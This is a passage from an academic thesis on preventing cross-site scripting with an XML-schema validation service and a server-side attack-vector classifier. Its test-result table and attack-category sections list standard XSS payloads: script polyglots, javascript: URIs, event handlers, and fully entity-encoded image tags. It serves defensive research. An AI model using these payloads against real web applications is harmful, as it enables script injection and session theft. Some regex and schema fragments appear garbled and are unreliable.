deployed in JBOSS application server and is found effective as it provides the flexibility 

to be used across languages with a very minimal configuration to prevent XSS. 

 

In this chapter we propose a service oriented architecture to prevent XSS vulnerabilities 

across languages.  
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The factors we consider while proposing this solution are: 

1. The solution should address the vulnerabilities that arise from various interfaces 

that provide input.  

2. The solution assumes that the web pages need not be changed frequently.  

3. The solution is tolerant to zero-day attacks and false negatives. 

 

The first service-oriented architecture was with the use DCOM or Object Request 

Brokers (ORBs) based on the CORBA specification [92-94]. Web services essentially use 

XML to create a robust connection. The following figure illustrates a basic service-

oriented architecture. It shows a service consumer at the right sending a service request 

message to a service provider at the left. A service provider can also be a service 

consumer [95-98]. Main concepts of SOA are: 

 Reuse and composition, enabling to share modules between applications and 

inter-application interchanges. 

 Permanence, which implies supporting current and future technologies. 

 Flexibility, since every application lives, has a precise life cycle, can be enriched 

with new modules, and has to answer new business needs. 

 Openness and interoperability in order to share modules between platforms and 

environments. 

 Distribution, so that modules can be remotely accessed and so that they can be 

centralized 

 Performance, especially scalability. 

This proposed approach is developed using SOA, and our solution is developed using 

.NET, Extensible markup language (XML) and XML Schema Definitions (XSD) and 

tested in a web application developed in JSP/Servlets deployed in a JBOSS server.  

http://www.service-architecture.com/xml/articles/index.html
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The following diagram depicts the SOA.  

 

 

 

 

 

Figure 9: Service Oriented Architecture 

 

3.2 Proposed solution procedure 

Applications are constantly probed for vulnerability and when found to be vulnerable, are 

attacked with sustained belligerence. Recent researches show that the attacks on web 

applications are increased, since the attacks are launched on port 80 that remains open. 

SSL and firewalls are ineffectual against application level attacks as it cannot prevent the 

port 80 attacks. These attacks can bring down the web application server and can also 

provide access to the internal databases containing sensitive information like customer 

credit card numbers, account information and personal information.  

 

Web applications are developed using number of languages and deployed in different 

operating systems. This is due to the different features that web application provides to its 

users. If the application is very simple and does not require up time of the server to be 

high, say for example a social networking site, then it can be developed using HTML. 

But e-commerce applications need to consider various interfaces that it need to interact, 

Other Applications 
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security and availability of the web application. Hence the applications are developed 

using different languages like PHP, ASP, JSP, HTML, CGI-PERL, .NET, Python etc 

based on the requirements of the web application.   

 

The solution aims to provide independent services with defined interfaces that can be 

called to perform their tasks in a standard way, without the service having prior 

knowledge of the calling application, and without the application having any knowledge 

of how the service actually performs its tasks [84-86]. The solution is based on the 

approach of service oriented architecture (SOA). In the literature, SOA is defined as 

loosely coupled software services to support the requirements of business processes and 

software users [99- 103]. These services inter-operate based on a formal definition that is 

independent of the underlying platform and programming language [104-107].  

The solution procedure makes use of XML and XSD for inter operations of the services 

for the following reasons:  

 XML is supported by all languages, and the Application Program Interfaces are 

readily available to read, generate, and write XML [108, 109]. 

 Enhanced data validation: XML Schema provides mechanisms to validate 

elements and attributes in complex prescribed combinations as well as to validate 

the data within them [110]. 

 Augmentation of Data: XML Schemas can be used to add to the data as well as to 

check the validity of data. Schemas contain a number of default mechanisms that 

enable the automated normalization of data [110,112]. 

 

The basis of the approach is the applications can be protected from XSS attacks by using 

the XML and XSD. This involves generating an XML document based on all form 

controls submitted by the user. This XML document will be validated against a schema at 

server side. Any malicious script will end up creating an invalid or not-well-formed 

XML, and thus stops the user from submitting the malicious scripts.  
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3.3 System overview  

The core part of the solution is the application that generates the XML Schema based on 

the input parameters and constraints.  

 

The solution comprises of three major components namely, converter, validator and 

schema generator application. The converter is the interface between the web application 

and users. This can be an executable binary or the interface can also be developed in the 

same language. The diagrammatical representation of the approach is given in Figure 10.  

 

Figure 10:  SOA based XSS Blocker flow diagram 

 

The following section explains the components mentioned in the system overview and 

the flow.  The interaction between the components and the configuration needed on the 

server to implement this solution is discussed further.  
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3.4 Technical design of the proposed approach 

3.4.1 Converter 

The converter component is the interface component between the application and the 

user. The http requests are configured to send the requests to the converter that converts 

the request object to a name value XML pair. Then this XML object is passed on to the 

validator component. The outcome of the validator is the status of the vulnerability of the 

input that decides the next action for the converter. If the input is found valid, converter 

passes this input to the web application. Otherwise it throws an exception and takes the 

programmed action, if the request is found invalid. 

3.4.2 Validator 

Schema for the input controls are generated by the schema generator and stored in the 

repository. The schema generator functionality is explained in the following schema 

generator application section. Validator component receives the XML request object from 

the converter and retrieves the corresponding schema for the request. The validator 

validates the input mentioned as the name value pair in the XML object and checks for its 

vulnerability by mapping the schema constraints. The outcome of the validator is sent as 

the input to the converter component that decides further action for the input. 

   

3.4.3 Schema generator application 

The XML schema document is created using the .NET 2.0 System.Xml.Schema 

namespace components. This is the core part of the proposed architecture and schema 

generator application generates the schema for each page based on the input provided by 

the developer; the generated schema is stored in a file system or in a database. When the 

validator receives the XML object for which the XSS vulnerability is to be assessed, it 

retrieves the corresponding schema of the web page from the repository and validates the 

input based on the rules stated in the schema.  
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The schema generator application comprises of an input data form, input data element 

class and a schema generator. Input data form which is explained below is a user 

interface that accepts the parameters from the developers as described in the below 

section.  

3.4.3.1 Input Data Form  

 

Input data form gets all input control name and data type of the input control name of the 

web page from the developer to generate schema document for that web page. The input 

parameters of the web page are captured through a windows form as given in Figure 11. 

For better understanding of the Input validation form functionality, the screen shot of the 

developed tool is attached here. 

 

 

Figure 11: Input Data Form. 
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There are eight parameters accepted using the form for the generation of schema 

document and the  description of the input parameters are explained in Table 3.  

Table 3: Input parameters and description. 

Parameter name Description 

Input Name The name of the instance document element (eg. 

Username) 

Sample Input Value Sample value for the above named input (eg. SampleText) 

Data Type The data type of the input parameter (eg. String). 

Currently, ‘string’, ‘integer’, ‘decimal’ data types are 

supported. 

Min, max values The value range for the input parameter (eg. -100,100) 

For an input data type of ‘string’ the min and max values 

translate as minimum and maximum lengths of the string. 

The header of the column changes appropriately after the 

selection of the data type. 

Input Format Any specific format restrictions for the input value (eg. 

SSN, Credit Card number etc). The flexibility is built in, 

to accept the regular expressions.  

Special Characters If the application features demand the special characters 

that needs to be considered as valid input.  

Markup Allowed This is a Boolean value, which is set as true by checking 

the check-box. If the input values must contain any kind 

of marked up text, then it is allowed by marking the check 

box. The default value is false. 

Mandatory This is a Boolean value which is set as true by checking 

the check-box. A mandatory input must occur in the input 

message for the message to successfully validate. 
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In figure 11, the input given for a login web page is the username and password. In the 

above form the data type associated with both the input control is string. It can be 

observed that the minimum and maximum length for user name is {10, 60} and for 

password it is {5, 10}. Through this feature the flexibility is provided to validate the input 

at a field level. The schema generator generates a rule for user name field, to accept the 

tags since in figure 11, the ‘mark-up allowed’ attribute for user name field is checked. 

But for password field the mark-up allowed field is unchecked and hence the rule 

generated by the schema generator is to deny the tags entered in password field.  

3.4.3.2 Input Data Element class 

 

Figure 11 describes for each input control in the web page, the data type, length, input 

format, special characters allowed and mark up allowed attributes are different. Hence, 

the regular expressions and the constraints generated by the schema generator for each 

row are also different. Each row and its associated attributes like data type, length, etc for 

each input control is represented as an element in the schema language.  Hence the input 

data element class mentioned here is used to generate the elements in a schema 

document. Once the input is given and done button is clicked in the input data form in 

figure 11, each row in the data view grid is mapped to an InputDataElement class 

instance in a loop and this InputDataElement is passed to the Scheme Generator class 

instance for generation of schema element in a schema document.  

3.4.3.3 Schema Generator 

 

As could be seen in figure 11, the flexibility is provided to accept the input with special 

characters and with markup language through input data form. Schema generator 

approach is regular expression based and hence while generating schema, the constraints 

are generated automatically and included in the schema that is used by the validator to 

validate the input for malicious patterns. There are 7 methods included in the schema 

generator and the functionalities of the methods are described here. Section 3.7 presents 
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the generated schema for the above form and can be referred for better understanding of 

the functionality.  

 CreateSchemaComponentForRootElement () – It creates the element node for the 

'Request'. This is a complex type element, since this contains the other elements and 

attributes. The generated structure of the XML for the above form is given in 

section 3.7.  

 CreateSchemaComponentForMessageElement () – This method processes the 

name and value members of the data element. It creates the rules using the 

following functions based on the data type of the input mentioned.  

o  If the datatype of the input data element is a 'string', then type of the XML 

element can either be 'StringWithoutMarkeup' or 'StringWithMarkup'; which 

is decided by the ‘DataType.MarkupAllowed’ attribute, mentioned in Table 

3. If MarkupAllowed is checked through an input check box to indicate 

‘true’, then the SchemaTypeName for the element will be 

StringWithMarkup, otherwise it will be StringWithoutMarkup. In either 

case, the strings are restricted with a pattern facet which prevents causes of 

validation to fail if <script> </script> tags are present in the input/message 

data. 

o  If the data type of the input/message element is decimal, input range 

validation is mandatory. The input is checked for min and max values; if 

they are not specified, an exception is thrown, seeking appropriate input.  

  Save Schema () – This method is called to save the schema in the database or in 

the defined path mentioned by the developer.   

o CreateTypeForStringsWithMarkup () – It accepts four parameters namely, 

string Name, type, length, and Boolean mandatory flag. It generates the 

minimum and maximum facets for the parameter given by the developer 

through input data form mentioned in section 3.4.3.1. Here in the data input 

form, for user name field, minimum and maximum allowed characters are 

10 and 60.  
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o CreateBaseTypeForStrings(): This method generates the regular 

expression patterns for the String based input. 

o The content of the strings are restricted so that it cannot contain <script> 

</script> tags and also the other script functions that are used primarily to 

inject XSS vulnerability.  

o The following are the restrictions placed when a ‘noMarkupPattern’ is 

chosen by the developer.  

Pattern= @”^(^(<\s*(\S+)(\s[^>]*)?>[/s/S]*<\s*\/\1\s*>))$”; the pattern is 

explained in Table 4. 

Table 4: Pattern values and its functions. 

Pattern value Function addressed by the pattern value 

@”^        From the beginning of the input string 

(^(          Negation of match - match everything other than tags 

<          Match beginning of a tag definition (&lt;) 

\s*         Match zero or more white space characters 

(\S+) Match one or more non-white space 

(\s Match white space  separator for tag attributes 

[^>]* Match every character, zero or more times, other than 

&gt 

)? Match the tag attributes, zero or one time 

> Match the end of the opening of the tag 

[/s/S]* Match white space & non-white space characters until 

the end. 
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< Match beginning of the tag closing symbol (&lt;) 

\s* Match zero or more white space characters 

\/ Match start of tag closing sequence 

\1 Match the first matched tag name 

\s* Match zero or more trailing white spaces 

>)) Match end of tag closing sequence (&gt;) 

$ until the end 

 

o When mark up is allowed then a different regular expression pattern is 

constructed to prevent the basic tags like <Script> and other tags that helps 

to execute script functions.  

 CreateTypeForNumeric() 

o It generates the regular expression facets for integer and decimal.  

o The pattern generated for integer for validation is @”[0-9]+,[0-9]+”; 

o The pattern generated for decimal is @”([0-9]+.?[0-9]+),([0-9]+.?[0-9]+)”; 

 RemoveSpaces () – Removes white spaces in the input.  

When the input is provided as stated in table 3, the XML instance document and its 

validating schema are created, which is saved and displayed for verification. The 

generated schema is used to validate the contents of the input given by the user in a web 

page.  

3.5 Components interaction 

The following are the series of actions taken before and after the HTTP request is 

received at the server end:  

 The schema for each web page, where an input control is present, is generated and 

stored offline by the developer in a folder structure or in a database.  

 When a request is received, the HTTP request is passed on to the converter.  
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 Converter converts the input to an XML object and sends it to the validator.  

 Validator retrieves the corresponding schema for the request and maps the XML 

object with the schema document. If the input maps with the schema then the status 

is returned to the converter as ‘yes’, otherwise the status ‘no’ is returned.  

 If the status ‘yes’ is received from validator then the request is forwarded to the 

web application. Otherwise, the request is forwarded to an error page.  

3.6 Configuration on the web server to implement this approach 

This section describes the configuration needed in the web server for redirecting the 

requests to converter component which is a second step in section 3.4.1:  

1. In the components that receive the HTTP request for the application, must 

be sent to the Converter to convert that to a XML. The following changes 

are made in the web.xml. The following entries are made in struts 

framework’s web.xml file to redirect the HTTP requests to the class, 

Vulnerability Assessment. Vulnerability Assessment is the class where the 

factor analysis based approach is implemented. The configuration is as 

follows:  

<filter> 

 <filter-name>struts-Analyzer</filter-name> 

<filter-class>org.apache.struts2.dispatcher.Analyzer 

</filter-class> 

</filter> 

<filter-mapping> 

    <filter-name>struts- Analyzer </filter-name> 

    <url-pattern>*.do</url-pattern> 

</filter-mapping> 
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2. Validator instance path to fetch the schema should point to the folder where 

the schema documents are generated and stored.  This is mentioned in the 

properties file and the file is accessed by the validator component for 

validation of XML input object. 

3.7 Evaluation of the proposed approach 

This approach has been evaluated the approach in a JSP/Servlets based web application, 

deployed in JBOSS server in windows operating system. The web.xml is modified to 

send the requests to the converter component as indicated in section 3.4. The prototype 

with a simple web page with a user id and password is tested for 2000 XSS vulnerable 

inputs collected from various research sites, white hat and black hat sites.  The input data 

field user name is modified to accept 250 characters to enable effective testing.  Test 

result excerpts are given in table 5.  

 

The lines of code developed for this implementation of this approach is about 2500.  

 

The converter and the validator are developed in java, and evaluated the approach. The 

following is the XML generated out of the converter, for the web page that contains 

values for user name and password field.  

<?XML version=“1.0” encoding=“utf-8”?> 

<request> 

  <input name=“Username” value=“userText” /> 

  <input name=“Password” value=“qwerty” /> 

</request> 

 

The validator component uses the Document and Schema factory Java APIs for 

validating the input with the schema as described below. It reads the file request.XML, 

generated by the converter.  

Document document = parser.parse(new File(“request.xml”)); 
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SchemaFactory factory = 

SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); 

Source schemaFile = new StreamSource(new File (“filepath\\GeneratedSchema.xsd”)); 

Schema schema = factory.newSchema(schemaFile); 

 

The following snippet creates a validator instance, which is used for validating the input 

with the schema. 

Validator validator = schema.newValidator (); 

validator.validate (new DOMSource (document)); 

 

The schema document generated by the language independent schema generator is given 

below.  

<? XML version=“1.0” encoding=“utf-8”?> 

<xs:schema attributeFormDefault=“unqualified” elementFormDefault=“qualified” 

xmlns:xs=“http://www.w3.org/2001/XMLSchema”> 

  <xs: simpleType name=“inputWithoutScriptTags”> 

    <xs: restriction base=“xs: string”> 

      <xs: pattern value=“^ (^abcd) $” /> 

    </xs:restriction> 

  </xs: simpleType> 

  <xs: simpleType name=“inputWithoutScriptAndHtmlTags”> 

    <xs: restriction base =“inputWithoutScriptTags”> 

      <xs: pattern value =“(^ab)” /> 

    </xs: restriction> 

  </xs: simpleType> 

  <xs: element name=“request”> 

    <xs:complexType> 
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      <xs:sequence> 

        <xs: element maxOccurs=“unbounded” name=“input”> 

          <xs: complexType> 

            <xs: attribute name=“name” type=“xs:string” use=“required” /> 

            <xs: attribute name=“value” type=“xs:string” use=“required” /> 

          </xs: complexType> 

        </xs: element> 

      </xs: sequence> 

    </xs: complexType> 

  </xs: element> 

</xs: schema> 

It has been observed that there are more than 100 variants of XSS attacks exist and the 

approach is tested with the data collected from various research sites, white hat and black 

hat sites. The following are few of the test conditions tested in the input fields of the web 

page.  

Table 5: Test Result excerpts 

Sr.  

number 

Test Condition Test Result 

1 ';alert(String.fromCharCode(  

88,83,83))//\';alert(String.  

fromCharCode(88,83,83))//”;a  

lert(String.fromCharCode(88,  

83,83))//\”;alert(String.fro  

mCharCode(88,83,83))//--></S  

CRIPT>“>'><SCRIPT>alert(Stri  

ng.fromCharCode(88,83,83))</  

SCRIPT>=&{} 

Test condition Passed 

2 <IMG SRC=“javascript:alert('XSS')” Test condition Passed 
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3 <IFRAME  

SRC=“javascript:alert('XSS')  

;”></IFRAME> 

Test condition Passed 

4 <INPUT TYPE=“IMAGE” SRC=“JavaScript: 

alert('XSS');”> 

Test condition Passed 

5 <BODY  

onload!#$%&()*~+-_.,:;?@[/|\  

]^`=alert(“XSS”)> 

Test condition Passed 

6 <DIV STYLE=“width:  

expression(alert('XSS'));”> 

Test condition Passed 

7 <A HREF=“htt 

p://6&#9;6.000146.0x7.147/”>XSS</A> 

Test condition Passed: 

Spaces removed and 

vulnerability detected 

8 <IMG 

SRC=&#106;&#97;&#118;&#97;&#115;&#99

;&#114;&#105;&#112;&#116;&#58;&#97;&#

108;&#101;&#114;&#116;&#40;&#39;&#88;

&#83;&#83;&#39;&#41;> 

False negative, as the 

input is completely 

encoded.  

 

Though the approach is fully functional, all types of encoded attacks are not addressed in 

this approach, and this leads to few false negatives and false positives. For instance the 

8
th

 test case mentioned in table 5, lead to false negative, since the approach addresses 

basic encoding attacks. Thus in this approach, if the input is encoded it is rejected to 

avoid the threats to the system.     

3.7.1 Performance Metrics 

 

Below is the server configuration on which the performance of the proposed solution is 

observed.  
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Table 6: Performance Metrics of SOA Based Solution 

Attribute Value 

Load averages 3.20, 3.02, 2.74 

Total 

Processes 

525 

Sleeping 

processes 

180 

Active 

processes 

345 

Real Memory 5244592K out of which 

1430900K was used.  

Virtual 

Memory 

4355792K out of which 

643208was used. 

Free Memory 780724K 

 

The observed performance ranges from 40-50 milliseconds on an average for the input 

form that contained 4-5 controls. There is a direct relationship between the response time 

of a request and the input controls in the web page as the converter converts the input 

object to “Name – Value” pair. It is noted that the response time is higher when  the 

security mechanisms are not applied, but the proposed solution cater for the need of 

applying the security mechanisms on the web applications developed in different 

languages.  

3.8 Conclusion  

Large amount of web applications are vulnerable to XSS attacks. This is mainly due to 

the flexibility provided in the applications permitting the users to use different tags. This 

problem exists in web pages developed in different languages. There is no single solution 

to prevent XSS in different languages deployed in different platforms. The approach 

proposed by this research was evaluated on a web application. The proposed application 

is found to be very effective. The following are the advantages of the approach.  
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1. The core part of the XSS blocker is platform independent and language 

independent. Only the interfaces like Converter and validator needs to be 

developed. This is a very minimal work and almost all the languages have 

ready built APIs to support XML and XSDs.  

2. Configuration is made minimal, and hence can be implemented in existing 

applications with the least effort. Literally no effort is needed for the newly 

developed applications.  

3. The approach is modularized and is constructed based on the proven regular 

expression patterns.  

4. The solution also addresses the situation where the web application is not the 

only source of input to the application.  

5. The protection mechanism is centralized, implying that, when a new threat is 

introduced only the schema generator needs to be modified. The existing 

application remains the same as the generated schema will address the new 

threat.  

6. The input given by the developers is stored in the XML form for future 

reference. So, when a new threat is introduced, the schema generator is run on 

the existing XML forms, to include the new protection immediately in the 

generated schema documents for the input requests.  

 

The SOA based architecture developed is tested with the existing application and found 

effective to block XSS threats. The limitation of this approach is when a new threat is 

introduced by hackers, XSD files for the web application needs to be generated again to 

protect the application from the new threat. Hence the solution proposed is vulnerable to 

zero-day threats.  This solution is applicable to the web applications where the input is 

from the various interfaces and the web pages would not be changed more frequently.  

 

The solution approach developed was presented in the 6th IEEE International Conference 

on Computer and Information Science (ICIS 07) published by IEEE Computer Society in 
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IEEE Xplore, and further a XSS intrusion prevention model is developed based on this 

solution. This was published in the Research papers on advanced networking 

technologies and security issues, in Proceedings of AICTE Sponsored National Seminar 

on Advanced Networking, Technologies and Security Issues (FISAT) conference Kerala, 

pp. 159-170, August 8th – 10th 2007 [235, 236]. 



    

 74 

Chapter 4    
 

Server side solution for mitigating Cross Site Scripting attacks 

for variety of web applications 
 

4.1 Introduction 

This server side solution is proposed considering the following factors where:  

 The web pages in the web application are changed frequently.  

 Whenever a new page is introduced, the security mechanisms should not demand 

change in the web page.  

 The web application is tolerant to zero-day attacks. The solution is more suitable 

for non-financial web applications.  

 The web browsers are the only source of the input to the web application.  

 

Every day, the web pages are changed to increase the customer base for its business. To 

protect the web application that is dynamic, we propose the server side solution that does 

not require changing the existing web pages whenever either a new threat is introduced or 

a web page is introduced.  

 

Using the web pages, users interact with a dynamic web site by clicking on the links or 

filling and submitting the html forms in the browser. This results in a list of name/value 

pairs being sent to the server in the form of an http request. The request may contain 

other information such as a list of cookies, the referrer URL, etc. In general, any data in 

the request should be considered as mistrusted. Cross-Site Scripting (XSS) exploits the 

hyperlinks or client-side scripts (aka Script lets) such as JavaScript, VBScript, ActiveX, 

XHTML, Flash etc of the web based applications. An XSS attacker typically uses a 

scriptlet mechanism to inject malicious code into a user session or its target web server to 

redirect the user with a malicious hyperlink or trigger a script that hijacks the user session 
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to another web site. This XSS attack potentially leads to hijacking the user's account 

information, changing user privileges, stealing cookie or session information, poisoning 

the user-specific content, defacing the web site and so on [113,114]. 

Since it is assumed that the input is provided through the web browser, the following 

input/output processing of web applications provides the means for XSS attack:  

- Injection points to the program: There are two ways by which the input is sent to the 

web server: GET and POST 

- All routines that returns data to the browser such as error messages, information to the 

users and warnings. 

4.2 Levels of XSS attack 

To understand the phenomena better, consider the hierarchy of a web application given in 

figure 12.  The XSS attacks can be at any of these levels. Form level attack can be done 

by injecting a new frame into the form. Tag level attack can be done by calling script 

functions. Attribute level attacks can be done by calling a malicious script with the help 

of tag’s attributes. Value level attacks can be carried out by providing a value of a script 

instead of a valid value, for instance pointing a script using ‘img’ tag’s source instead of 

GIF or JPG.   

 

 

 

 

 

 

 

 

 

 

 

 

Figure 12: Hierarchy of web applications 

Application 

Tag 

Form 

Attribute 

Value 
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As could be seen in Figure 12, there are five levels of entities namely application, form, 

tag, attribute and value. For instance consider the following XSS attack that shows the tag 

level vulnerability in the URL using GET functionality. 

 

The script is passed on using the domain variable used by the developer to get the user 

input.  

Table 7: Sample XSS vulnerability 

Home Page of the site Vulnerable web page 

 The computer super 

store:  

http://www.sampleSit

e.co.uk/ 

http://www. 

sampleSite.co.uk/martprd/store/pcw_page.jsp?BV_SessionID

=@@@@0512034277.1166636117@@@@&BV_EngineID

=cceladdjjilgjgicflgceggdhhmdgml.0&criterion=%3cscript%3

ealert(%22XSS%22)%3c%2fscript%3e&low_bound=0&Ati

meStamp=3330686849&page=SimpleSearchProducts&up_bo

und=0 

 

4.2.1 Special features of the proposed solution 

The approaches proposed by earlier researchers have the following limitations:  

 When a new threat is introduced the new solution needs to be developed and 

incorporated in all the existing web pages.  

 In a web application, developers either modify or add web pages as and when the 

businesses grow. When a web page is either modified or added then the security 

mechanisms should also be introduced in the web page.  This causes an overhead 

for maintaining the web application.  

The proposed new server based solution overcomes the above difficulties with the 

following features.  

  Configurable attack vectors and object implementation procedure for attack vectors 

are introduced at the server level and hence the existing web pages need not be 
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modified for new threats.  

  Whenever a new web page is introduced there is no need to modify the web page, 

since the security mechanism is separated from page level implementation and is 

placed at the top most layer of the web application. 

4.3 Proposed server side solution 

As discussed in Chapter 2, the client side solution is not reliable, and hence the main aim 

of this research is to provide a server side solution for preventing the web applications at 

the server side for XSS related risks and vulnerabilities,  without modifying the 

application even when a new threat is introduced. Further to address the variegated nature 

of web applications that demand various levels of security protections, a dynamic 

decision tree is introduced using a factor analysis approach.   

We have formulated the problem by categorizing the XSS attacks as detailed below: 

4.3.1 Html element attack 

XSS attacks that contain the malicious html tags and attributes are defined as html 

element attacks. For instance having <script>, href, background in an input is an html 

element attack since it uses the html attributes like href, background etc.  

4.3.2 Character encoding attack 

The XSS attacks can be encoded in the format using UTF-8, UTF-7, Hex etc. Character 

sets assigns a unique number to characters, e.g. an “A” has ASCII code 65 (or 0041 in 

hex), and an “a” has ASCII code 97 (or 0061 in hex). When a XSS malicious code is 

encoded like this, that threat is called Character encoding attacks.  For example the 

following instruction encodes the string “XSS” into number code. 

<IMG src=javascript: alert (String.fromCharCode(88,83,83))> 

 

4.3.3 Embedded character attack or evasion attack 

 Embedded character attack intends to bypass the security mechanisms by embedding the 
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characters that the browser will omit and execute the scripts. Hackers can include tabs, 

encoded tabs, carriage return, new line, null characters, adding extraneous open brackets 

etc. For example, in the following code, there is a space between jav and ascipt, which 

helps the vulnerable code to evade the filter mechanism.  

<IMG src=“jav ascript: alert ('XSS') ;”> 

4.3.4 Event handler attack 

There are script event handler functions to do a particular functionality if an event occurs. 

For example, onClick () will fire when someone clicks on a form. A remote attacker 

could create a specially-crafted URL containing multiple event handlers and embedded 

script within html tags, which would be executed in the victim's web browser within the 

security context of the hosting site, once the link is clicked. The attacks that use the 

JavaScript event handling techniques are defined as Event Handler attack. For example, 

to prevent AJAX exploits we need to include XMLHTTPRequest in the vulnerable 

function. Consider also the following code given as an input for a form,  

<body onload=“alert ('XSS') ;”>  

This calls a JavaScript function alert when the html page loads.  

4.3.5 Attack Vector  

In the literature, a term “Attack vector” is defined as a path or means by which a hacker 

(or cracker) can gain access to information [115-119]. In this work we define the attack 

vectors for XSS in terms of the categories identified above. The hackers can gain access 

to the system by means of html attacks or character encoding attacks, embedded character 

attacks and event handler attacks. Then we carry out factor analysis to identify the 

vulnerability.  

4.3.6 Factor Analysis 

 Factor analysis is a statistical procedure used to uncover relationships among many 

variables [120, 121].  This allows numerous inter correlated variables to be condensed 

http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci212220,00.html
http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci211852,00.html


    

 79 

into fewer dimensions, called factors [122-126]. In this research, the vulnerability is 

assessed by the degree of agreement of the input with the attack vectors. Attack vectors 

are the factors considered in this analysis namely, HTML element attack, Embedded 

Character attack, Event Handler attack, and Character encoding attack. Object 

implementation of the attack vectors is then identified to classify the input as tainted and 

untainted. Presence of script function in input cannot be considered as XSS attack. For 

example, IMG tag will be present where an image upload is allowed in content 

management applications, but an object needs to be present to check whether the IMG src 

attribute points to an image or to a script. Hence, mapping objects are defined for the 

attack vectors for each hierarchy of level stated above to classify the input as tainted or 

untainted.  

 

It is critical to understand that every application is different (different internationalization 

requirements, different security mechanisms, different features etc.) and security 

mechanisms implemented to protect one application may not protect another. Therefore, 

before constructing attack vector, it is important to identify the attributes of an 

application 

 

4.4 Application Attributes 

At an application level we define the following attributes: 

4.4.1 Severity Level 

For an e-commerce application the security mechanism should be pretty stringent, 

because attack vector space will be high due to the financial gain. The severity levels are 

defined in this research as low, medium and high. Html tags, attributes, and script 

functions are not expected normally for authentication pages in financial web 

applications. Hence, we define all tags, concerned attributes, scripts everything as tainted, 

set the severity level to high for financial applications, and reject the input without 

processing the input through the objects implementation. Wherein other kind of 
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applications like research related applications, social networking sites etc, we set the 

severity level to medium; because we allow some tags or script functions to be used in 

these sites for various purposes. For the rest of the sites, where there are no financial 

implications, and the users are a few, like blogs the severity level is categorized as 

“Low”. Either based on this attribute, we reject or further process the input though found 

as tainted by the diagnosis described in the section vulnerability assessment.  

4.4.2 Maximum number of characters 

 With this attribute we define the maximum number of characters allowed for an input at 

an application level. It has a linkage with the attack surface. For instance, if the number 

of characters allowed is more than 1000, then the attacker will try to use different 

combinations of attacks to bypass the security mechanisms, as the number of input 

characters permitted is high. Hence it is suggested for e-commerce authentication pages, 

the maximum allowed characters for authentication not to exceed more than 20 to reduce 

the attack surface of the hacker. This means more than 20 characters of input is not 

allowed at a application level and hence the possible combinations that could be tried to 

hack the application is restricted because of the character limitation set by the security 

administrator. If the number of characters is set at the application level, the security layer 

will reject all the characters that appear after the maximum number of character set for 

the application and hence reduce the chances of hack attempts.  

4.4.3 Encoding 

When a user input contains malicious tags, the input should be encoded to prevent it from 

the execution in the browser. User input may contain tags based on the need of the web 

application. In the case of uploading an article by a researcher on the vulnerability aspects 

of web application, his article may include malicious code. In this case, the security 

mechanisms should not either filter or reject the article. To take care of this, the proposed 

security mechanism applies an encoding mechanism so that the scripts will not be 

executed in the browser. However, in the case of an e-commerce application the encoding 

is not applicable for customer feedback or for online forums, in which case this encoding 
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attribute will have a nil value.  

4.4.4 Character-set 

 A character is the smallest component of written language that has a semantic value in a 

defined encoding.  

 

Coded character sets are character sets in which each character is associated with a scalar 

value: a code point. For example, in ASCII, the uppercase letter “A” has the value 65. 

The encoding method maps each character value to a given sequence of bytes.  

Attackers use the character set to craft XSS attacks. If the character set like UTF-8 or 

UTF-7 is not set by the application, the attacker can try various encoding mechanisms to 

inject the JavaScript functions to bypass the security mechanisms implemented for the 

web application. Consider the following example:  

<IMG 

src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;

&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> 

The above attack uses the encoded IMG tag, but executes a script instead of pointing to 

an image.  

 

To identify such attacks we need to set the character set for the application. If a response 

character is set for the application, we need to examine and convert only those encoded 

characters to html to assess the vulnerability. If it is not set, the processing over head will 

increase to examine and find out the character encoding set first and then drill down to 

find out whether it is malicious. Character-set is set for the application to reject the 

characters that are not in line with the character set for the application.  

 

The following section defines the surjection function using factor analysis, and by the 

categories of XSS attacks defined above to assess the vulnerability.  
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4.5 Vulnerability assessment 

Let us define domain A as the set of attack vectors and Domain B with the web 

application input as in figure 13 [127,128]. We conclude the input as tainted when there 

exists a surjection function and also the corresponding object implementation for the 

attack vector that decides whether there is a malicious function in the input.  To 

understand Surjection function, let a function be an operator which maps points in the 

domain to every point in the range and let V be a vector space with . Then a 

transformation T defined on V is a surjection if there is an such that T (A) =B for 

some B [129,130]. 

 

 

 

 

 

 

 

 

 

 

 

 

                      Figure 13: Depiction of Surjection function between domains 

 

When there exists, a surjection function then it is assumed that the input is a tainted input 

and processed with the defined object implementations through decision trees.   

 

A decision tree is a tree-structured plan of a set of decisions to test in order to predict the 

output [131,132].  

 

Attack Vector1 [] 

 

Attack Vector2 [] 

 

Attack Vector3 [] 

 

Attack Vectorn [] 

 

 

Domain A Domain B 

Web Application Input1 

 

Web Application Input2 

 

Web Application Inputn 

 

http://mathworld.wolfram.com/Operator.html
http://mathworld.wolfram.com/Map.html
http://mathworld.wolfram.com/Domain.html
http://mathworld.wolfram.com/Range.html
http://mathworld.wolfram.com/VectorSpace.html
http://mathworld.wolfram.com/Transformation.html
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The following describes the functionality of vulnerability assessment process of the 

proposed approach.  

• To decide which attribute should be tested first, simply find the one with the 

highest information gain. In our approach, it is the special character diagnosis 

decides which attack vector to examine first based on the input. If there are no 

‘<’or ‘>’ character exists, but ‘(’ or ‘)’ exists then we chose to execute the event 

handler attack vectors.  

• We chose to follow through other paths when a vulnerable function is detected 

in the input to determine whether the input is vulnerable.  

For each attack vector definition, we define an object implementation to find out 

whether the input is vulnerable or not. 

 

Object implementation will have different implementation logic for different applications 

and thus provide a customizability to find out XSS attacks for variegated nature of web 

applications.  

 

The final decision whether tainted or untainted, is arrived by the decision tree based on 

the object implementation for the attack vectors and by the application parameters set as 

detailed in Figure 14.  

 

The primary diagnosis for the special characters is done using table 8. To choose the 

optimal path, the special characters are examined. Depending on the special character 

existence, the corresponding attack vectors are chosen. For instance, if there is no 

opening or closing parenthesis exist but only ‘<’ or ‘>’ tags exists we choose html 

element attack vector to identify the vulnerability.  
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   Figure 14: Vulnerability Assessment Process.  

 

Table 8: Special character diagnosis table for Vulnerability Assessment 

Characters Decimal Hexa 

Decimal 

HTML 

Character Set 

Unicode 

“ (double quotation 

marks) 

&#34 &#x22 &quot; \u0022 

' (single quotation mark) &#39 &#x27 &apos; \u0027 

& (ampersand) &#38 &#x26 &amp; \u0026 

